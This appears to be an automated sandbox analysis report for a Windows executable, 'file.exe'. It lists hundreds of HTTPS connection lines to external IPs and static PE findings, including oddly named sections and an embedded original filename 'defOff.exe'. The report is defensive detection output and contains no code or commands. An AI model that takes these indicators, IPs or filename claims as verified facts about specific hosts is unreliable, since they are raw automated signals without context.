Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.42:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.42:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.42:443 -> 192.168.2.6:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50095 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2431471730.000000000595C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392398039.000000000580A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391757298.0000000005668000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394472925.00000000058BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395472644.000000000580C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395106308.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2404574479.0000000005807000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2419905067.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2423904631.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393494384.000000000595D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403591314.0000000005805000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2410893855.000000000591A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2432416760.000000000580F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392287346.00000000058AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393029503.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2427657161.000000000595E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394677687.0000000005803000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2567043471.0000000005806000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408637361.000000000590E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
